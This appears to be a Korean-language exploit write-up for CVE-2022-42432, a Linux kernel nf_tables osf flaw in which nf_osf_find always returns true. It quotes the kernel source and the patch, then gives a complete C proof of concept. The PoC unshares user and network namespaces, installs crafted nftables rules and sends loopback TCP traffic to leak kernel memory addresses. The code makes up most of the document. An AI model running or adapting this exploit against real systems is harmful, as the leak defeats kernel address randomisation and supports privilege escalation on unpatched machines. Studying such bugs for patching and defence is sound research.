CVE-2022-42432
struct expr_ops expr_ops_osf = {
.name = "osf",
.alloc_len = sizeof(struct nftnl_expr_osf),
.max_attr = NFTA_OSF_MAX,
.set = nftnl_expr_osf_set,
.get = nftnl_expr_osf_get,
.parse = nftnl_expr_osf_parse,
.build = nftnl_expr_osf_build,
.output = nftnl_expr_osf_snprintf,
};
libnftnl 소스코드에서 osf expr도 지원한다는 것을 알 수 있었다.
struct nftnl_expr_osf {
enum nft_registers dreg;
uint8_t ttl;
uint32_t flags;
};
static int nftnl_expr_osf_set(struct nftnl_expr *e, uint16_t type,
const void *data, uint32_t data_len)
{
struct nftnl_expr_osf *osf = nftnl_expr_data(e);
switch(type) {
case NFTNL_EXPR_OSF_DREG:
memcpy(&osf->dreg, data, sizeof(osf->dreg));
break;
case NFTNL_EXPR_OSF_TTL:
memcpy(&osf->ttl, data, sizeof(osf->ttl));
break;
case NFTNL_EXPR_OSF_FLAGS:
memcpy(&osf->flags, data, sizeof(osf->flags));
break;
}
return 0;
}
nf tables에서 expr 추가하듯이 추가하면 된다.
enum expr_types {
EXPR_INVALID,
EXPR_VERDICT,
EXPR_SYMBOL,
EXPR_VARIABLE,
EXPR_VALUE,
EXPR_PREFIX,
EXPR_RANGE,
EXPR_PAYLOAD,
EXPR_EXTHDR,
EXPR_META,
EXPR_SOCKET,
EXPR_OSF,
EXPR_CT,
EXPR_CONCAT,
EXPR_LIST,
EXPR_SET,
EXPR_SET_REF,
EXPR_SET_ELEM,
EXPR_MAPPING,
EXPR_MAP,
EXPR_UNARY,
EXPR_BINOP,
EXPR_RELATIONAL,
EXPR_NUMGEN,
EXPR_HASH,
EXPR_RT,
EXPR_FIB,
EXPR_XFRM,
EXPR_SET_ELEM_CATCHALL,
EXPR_FLAGCMP,
EXPR_MAX = EXPR_FLAGCMP
};
strncpy((char *)dest, "unknown", NFT_OSF_MAXGENRELEN);
} else {
if (priv->flags & NFT_OSF_F_VERSION)
snprintf(os_match, NFT_OSF_MAXGENRELEN, "%s:%s",
data.genre, data.version);
flags에는 NFT_OSF_F_VERSION을 세팅해줘야 더 많이 복사가 된다?
Root Cause
diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index 0fa2e2030427..ee6840bd5933 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -269,6 +269,7 @@ bool nf_osf_find(const struct sk_buff *skb,
struct nf_osf_hdr_ctx ctx;
const struct tcphdr *tcp;
struct tcphdr _tcph;
+ bool found = false;
memset(&ctx, 0, sizeof(ctx));
@@ -283,10 +284,11 @@ bool nf_osf_find(const struct sk_buff *skb,
data->genre = f->genre;
data->version = f->version;
+ found = true;
break;
}
- return true;
+ return found;
}
EXPORT_SYMBOL_GPL(nf_osf_find);
nf_osf_find 함수가 항상 true를 리턴해서 초기화되지 않은 영역을 릭할 수 있다.
bool nf_osf_find(const struct sk_buff *skb,
const struct list_head *nf_osf_fingers,
const int ttl_check, struct nf_osf_data *data)
{
const struct iphdr *ip = ip_hdr(skb);
const struct nf_osf_user_finger *f;
unsigned char opts[MAX_IPOPTLEN];
const struct nf_osf_finger *kf;
struct nf_osf_hdr_ctx ctx;
const struct tcphdr *tcp;
struct tcphdr _tcph;
memset(&ctx, 0, sizeof(ctx));
tcp = nf_osf_hdr_ctx_init(&ctx, skb, ip, opts, &_tcph);
if (!tcp)
return false;
list_for_each_entry_rcu(kf, &nf_osf_fingers[ctx.df], finger_entry) {
f = &kf->finger;
if (!nf_osf_match_one(skb, f, ttl_check, &ctx))
continue;
data->genre = f->genre;
data->version = f->version;
break;
}
return true;
}
EXPORT_SYMBOL_GPL(nf_osf_find);
nf_osf_fingers를 돌면서 kf에 값을 할당한뒤, match하는지 확인한다.
static void nft_osf_eval(const struct nft_expr *expr, struct nft_regs *regs,
const struct nft_pktinfo *pkt)
{
struct nft_osf *priv = nft_expr_priv(expr);
u32 *dest = ®s->data[priv->dreg];
struct sk_buff *skb = pkt->skb;
char os_match[NFT_OSF_MAXGENRELEN + 1];
const struct tcphdr *tcp;
struct nf_osf_data data;
struct tcphdr _tcph;
if (pkt->tprot != IPPROTO_TCP) {
regs->verdict.code = NFT_BREAK;
return;
}
tcp = skb_header_pointer(skb, ip_hdrlen(skb),
sizeof(struct tcphdr), &_tcph);
if (!tcp) {
regs->verdict.code = NFT_BREAK;
return;
}
if (!tcp->syn) {
regs->verdict.code = NFT_BREAK;
return;
}
if (!nf_osf_find(skb, nf_osf_fingers, priv->ttl, &data)) {
strncpy((char *)dest, "unknown", NFT_OSF_MAXGENRELEN);
} else {
if (priv->flags & NFT_OSF_F_VERSION)
snprintf(os_match, NFT_OSF_MAXGENRELEN, "%s:%s",
data.genre, data.version);
else
strlcpy(os_match, data.genre, NFT_OSF_MAXGENRELEN);
strncpy((char *)dest, os_match, NFT_OSF_MAXGENRELEN);
}
}
무조건 true가 리턴되기 때문에 data 부분 릭 가능하다.
static bool nf_osf_match_one(const struct sk_buff *skb,
const struct nf_osf_user_finger *f,
int ttl_check,
struct nf_osf_hdr_ctx *ctx)
{
const __u8 *optpinit = ctx->optp;
unsigned int check_WSS = 0;
int fmatch = FMATCH_WRONG;
int foptsize, optnum;
u16 mss = 0;
if (ctx->totlen != f->ss || !nf_osf_ttl(skb, ttl_check, f->ttl))
return false;
/*
* Should not happen if userspace parser was written correctly.
*/
find안에서 호출하는데, 이때 이부분을 잘 조작해서 무조건 false 리턴하게해서 넘어가면 된다.
Leak
nft log를 호출해서 모듈의 rodata section 부분을 가져올 수 있고, 코드 영역도 구할 수 있다.
#define _GNU_SOURCE
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <stddef.h>
#include "utils.h"
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#define SIZE 0x800
// static struct nftnl_rule *isolate_pkt(uint8_t family, const char *table, const char *chain, const char * target_chain)
// {
// struct nftnl_rule *r = NULL;
// uint16_t port = 8888;
// r = nftnl_rule_alloc();
// if (r == NULL) {
// perror("OOM");
// exit(EXIT_FAILURE);
// }
// nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
// nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
// nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
// add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0, NFT_REG_1, 13,1); // 0x18 -> PSH ACK
// add_cmp(r,NFT_REG_1, NFT_CMP_EQ, "\x18",1);
// add_verdict(r, NFT_JUMP, target_chain, NFT_REG_VERDICT);
// // TODO
// return r;
// }
static struct nftnl_rule *edit_pkt_data(uint8_t family, const char *table, const char *chain)
{
struct nftnl_rule *r = NULL;
r = nftnl_rule_alloc();
if (r == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
// enum nft_payload_bases {
// NFT_PAYLOAD_LL_HEADER,
// NFT_PAYLOAD_NETWORK_HEADER,
// NFT_PAYLOAD_TRANSPORT_HEADER,
// };
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0, NFT_REG32_08, 13,4);
add_cmp(r, NFT_REG32_08, NFT_CMP_EQ, "\x18", 1);
mov_imm(r, NFT_REG_4,"\x02",1);
// add_bitwise(r, 0x2); // 2
// add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, 0, 2,2); // total len corrupt
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_4, 0, 13,1);
// add_cmp(r,NFT_REG_3,NFT_CMP_NEQ, "\xff",1); // NO CRASH BUT NOT LEAKED
add_log(r); // LEAK
// add_range(r);
add_osf(r, NFT_REG_1, 0, NFT_OSF_F_VERSION);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1, 0, 0x28,0x10);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG32_08, 0, 13,1);
// TODO
return r;
}
void install_rule_for_leak()
{
// if(create_rule(isolate_pkt(NFPROTO_IPV4, "filter", "input", "leak")) == 0 ){
// perror("error creating rule");
// exit(EXIT_FAILURE);
// }
// if(create_rule(edit_pkt_data(NFPROTO_IPV4, "filter", "leak")) == 0 ){
// perror("error creating rule");
// exit(EXIT_FAILURE);
// }
if(create_rule(edit_pkt_data(NFPROTO_IPV4, "filter", "input")) == 0 ){
perror("error creating rule");
exit(EXIT_FAILURE);
}
}
void client(void * data){
int sockfd;
struct sockaddr_in server_addr;
char * buf = malloc(0x200);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(8888);
inet_pton(AF_INET, "127.0.0.1", &(server_addr.sin_addr));
if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof((server_addr))) == -1) {
perror("connect");
close(sockfd);
exit(EXIT_FAILURE);
}
for(int i =0;i<4;i++){
int res = write(sockfd, data, SIZE);
}
close(sockfd);
return 0;
}
void server(void *buf) {
struct sockaddr_in server_addr;
socklen_t server_addr_len;
struct sockaddr_in client_addr;
socklen_t client_addr_len;
char tmp[0x200];
client_addr_len = sizeof(client_addr);
int fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(8888);
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
perror("bind");
close(fd);
exit(EXIT_FAILURE);
}
if (listen(fd, 50) < 0) {
perror("listen");
close(fd);
exit(EXIT_FAILURE);
}
int cl_sock = accept(fd, (struct sockaddr *)&client_addr, &client_addr_len);
if (cl_sock < 0){
perror("accept");
close(fd);
exit(EXIT_FAILURE);
}
for (int i =0;i<4;i++){
int ret = read(cl_sock, buf, SIZE);
hexdump(buf,0x20);
uint64_t leak = *(uint64_t * )((uint64_t)buf + 9);
printf("Leaked : 0x%lx\n", leak);
}
close(cl_sock); // Close client socket
close(fd); // Close server socket
}
int main(int argc, char *argv[])
{
int tid, status;
pthread_t p_thread;
unsigned char udpbuf[512] = {0,};
uint64_t kernel_base = 0;
memset(udpbuf, 0x41, 512);
new_ns();
system("ip link set lo up");
uint64_t * buf = malloc(0x200);
tid = pthread_create(&p_thread, NULL, server, buf);
if (tid < 0){
perror("thread create error : ");
exit(0);
}
if(create_table(NFPROTO_IPV4, "filter", false) == 0){
perror("error creating table");
exit(EXIT_FAILURE);
}
if(create_chain("filter", "input", NF_INET_LOCAL_IN) == 0){
perror("error creating chain");
exit(EXIT_FAILURE);
}
if(create_chain("filter", "leak", 0) == 0){
perror("error creating chain");
exit(EXIT_FAILURE);
}
install_rule_for_leak();
printf("[-] send & recv tcp packet\n");
usleep(1000);
client(udpbuf);
sleep(1);
return 0;
}
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <pthread.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
void add_log(struct nftnl_rule *r){
struct nftnl_expr * expr = nftnl_expr_alloc("log");
nftnl_expr_set_u32(expr, NFTNL_EXPR_LOG_GROUP, 0);
nftnl_expr_set_u32(expr, NFTNL_EXPR_LOG_PREFIX, "Packet logged: ");
nftnl_expr_set_u32(expr, NFTNL_EXPR_LOG_SNAPLEN, 128);
nftnl_rule_add_expr(r, expr);
}
void add_range(struct nftnl_rule *r){
struct nftnl_expr * expr = nftnl_expr_alloc("range");
nftnl_expr_set_u32(expr, NFTNL_EXPR_RANGE_SREG, NFT_REG_4);
nftnl_expr_set_u32(expr, NFTNL_EXPR_RANGE_OP, NFT_RANGE_NEQ);
nftnl_expr_set_u32(expr, NFTA_RANGE_FROM_DATA, 0xff);
nftnl_expr_set_u32(expr, NFTA_RANGE_TO_DATA, 0x100);
nftnl_rule_add_expr(r, expr);
}
void add_bitwise(struct nftnl_rule *r, uint32_t bitmask){
struct nftnl_expr * expr = nftnl_expr_alloc("bitwise");
nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_SREG, NFT_REG_2);
nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_DREG, NFT_REG_4);
nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_OP, NFTA_BITWISE_DATA);
nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_LEN, 1);
nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_MASK, bitmask);
nftnl_expr_set_u32(expr, NFTNL_EXPR_BITWISE_DATA, 0x2);
nftnl_rule_add_expr(r, expr);
}
void mov_imm(struct nftnl_rule *r, uint32_t dreg, uint8_t * data, uint32_t datalen)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("immediate");
if (e == NULL) {
perror("expr imm oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, dreg);
nftnl_expr_set(e,NFTNL_EXPR_IMM_DATA,data,datalen);
nftnl_rule_add_expr(r, e);
}
void add_osf(struct nftnl_rule *r, uint32_t dreg, uint8_t ttl,
uint32_t flags)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("osf");
if (e == NULL) {
perror("expr osf oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_OSF_DREG, dreg);
nftnl_expr_set_u8(e, NFTNL_EXPR_OSF_TTL, ttl);
nftnl_expr_set_u32(e, NFTNL_EXPR_OSF_FLAGS, flags);
nftnl_rule_add_expr(r, e);
}
void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &set)) {
printf("error\n");
exit(-1);
}
}
bool create_table(uint32_t protocol, char * table_name, bool delete){
struct mnl_socket *nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh;
uint32_t portid, seq, table_seq, chain_seq, family;
struct nftnl_table *t;
struct mnl_nlmsg_batch *batch;
int ret, batching;
t = nftnl_table_alloc();
if (t == NULL) {
perror("nftnl_table_alloc");
return false;
}
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, protocol);
nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);
batching = nftnl_batch_is_supported();
if (batching < 0) {
perror("cannot talk to nfnetlink");
return false;
}
seq = time(NULL);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
if (batching) {
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
}
table_seq = seq;
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
delete?NFT_MSG_DELTABLE:NFT_MSG_NEWTABLE, NFPROTO_IPV4,
NLM_F_ACK, seq++);
nftnl_table_nlmsg_build_payload(nlh, t);
nftnl_table_free(t);
mnl_nlmsg_batch_next(batch);
if (batching) {
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
}
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror("mnl_socket_open");
return false;
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
return false;
}
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
perror("mnl_socket_send");
return false;
}
mnl_nlmsg_batch_stop(batch);
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (ret > 0) {
ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
if (ret == -1) {
perror("error");
return false;
}
mnl_socket_close(nl);
return true;
}
bool create_chain(char * table_name, char * chain_name, uint32_t hook_num){ // NF_INET_LOCAL_IN
struct mnl_socket *nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh;
uint32_t portid, seq, chain_seq;
int ret, family;
struct nftnl_chain *t;
struct mnl_nlmsg_batch *batch;
int batching;
t = nftnl_chain_alloc();
if (t == NULL)
return false;
nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);
if(hook_num != 0)
nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, hook_num);
nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, 0);
batching = nftnl_batch_is_supported();
if (batching < 0) {
perror("cannot talk to nfnetlink");
return false;
}
seq = time(NULL);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
if (batching) {
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
}
chain_seq = seq;
nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN, NFPROTO_IPV4,
NLM_F_ACK, seq++);
nftnl_chain_nlmsg_build_payload(nlh, t);
nftnl_chain_free(t);
mnl_nlmsg_batch_next(batch);
if (batching) {
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
}
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror("mnl_socket_open");
return false;
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
return false;
}
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
perror("mnl_socket_send");
return false;
}
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (ret > 0) {
ret = mnl_cb_run(buf, ret, chain_seq, portid, NULL, NULL);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
if (ret == -1) {
perror("error");
return false;
}
mnl_socket_close(nl);
return true;
}
bool delete_chain(char * table_name, char * chain_name){
struct mnl_socket *nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh;
uint32_t portid, seq, chain_seq;
int ret, family;
struct nftnl_chain *t;
struct mnl_nlmsg_batch *batch;
int batching;
t = nftnl_chain_alloc();
if (t == NULL)
return false;
nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);
seq = time(NULL);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
chain_seq = seq;
nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_DELCHAIN, NFPROTO_IPV4,
NLM_F_ACK, seq++);
nftnl_chain_nlmsg_build_payload(nlh, t);
nftnl_chain_free(t);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror("mnl_socket_open");
return false;
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
return false;
}
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
perror("mnl_socket_send");
return false;
}
mnl_nlmsg_batch_stop(batch);
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (ret > 0) {
ret = mnl_cb_run(buf, ret, chain_seq, portid, NULL, NULL);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
if (ret == -1) {
perror("error");
return false;
}
mnl_socket_close(nl);
return true;
}
bool create_rule(struct nftnl_rule * r)
{
struct mnl_socket *nl;
struct nlmsghdr *nlh;
struct mnl_nlmsg_batch *batch;
char buf[MNL_SOCKET_BUFFER_SIZE];
uint32_t seq = time(NULL);
int ret;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror("mnl_socket_open");
return false;
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
return false;
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE,
nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
NLM_F_APPEND|NLM_F_CREATE|NLM_F_ACK, seq++);
nftnl_rule_nlmsg_build_payload(nlh, r);
nftnl_rule_free(r);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (ret == -1) {
perror("mnl_socket_sendto");
return false;
}
mnl_nlmsg_batch_stop(batch);
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1) {
perror("mnl_socket_recvfrom");
return false;
}
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0) {
perror("mnl_cb_run");
return false;
}
mnl_socket_close(nl);
return true;
}
static void add_meta(struct nftnl_rule *r, uint32_t key, uint32_t dreg)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("meta");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_META_KEY, key);
nftnl_expr_set_u32(e, NFTNL_EXPR_META_DREG, dreg);
nftnl_rule_add_expr(r, e);
}
static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
const void *data, uint32_t data_len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("cmp");
if (e == NULL) {
perror("expr cmp oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_SREG, sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t sreg, uint32_t dreg, uint32_t offset, uint32_t len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("payload");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
if(sreg != 0)
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_SREG, sreg);
if(dreg != 0)
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_rule_add_expr(r, e);
}
int add_verdict(struct nftnl_rule *r, int verdict, char * chain, u_int32_t dreg)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("immediate");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, dreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict);
if(chain)
nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, chain);
nftnl_rule_add_expr(r, e);
return 0;
}
void write_file(const char *filename, char *text) {
int fd = open(filename, O_RDWR);
write(fd, text, strlen(text));
close(fd);
}
void new_ns(void) {
uid_t uid = getuid();
gid_t gid = getgid();
char buffer[0x100];
if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
perror(" [-] unshare(CLONE_NEWUSER | CLONE_NEWNS)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET)){
perror(" [-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
write_file("/proc/self/setgroups", "deny");
snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
write_file("/proc/self/uid_map", buffer);
snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
write_file("/proc/self/gid_map", buffer);
}
#ifndef HEXDUMP_COLS
#define HEXDUMP_COLS 16
#endif
void hexdump(void *mem, unsigned int len)
{
unsigned int i, j;
for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++)
{
/* print offset */
if(i % HEXDUMP_COLS == 0)
{
printf("0x%06x: ", i);
}
/* print hex data */
if(i < len)
{
printf("%02x ", 0xFF & ((char*)mem)[i]);
}
else /* end of block, just aligning for ASCII dump */
{
printf(" ");
}
/* print ASCII dump */
if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1))
{
for(j = i - (HEXDUMP_COLS - 1); j <= i; j++)
{
if(j >= len) /* end of block, not really printing */
{
putchar(' ');
}
else if(isprint(((char*)mem)[j])) /* printable char */
{
putchar(0xFF & ((char*)mem)[j]);
}
else /* other char */
{
putchar('.');
}
}
putchar('\n');
}
}
}
https://youtu.be/p_VYklBtE4A Exploit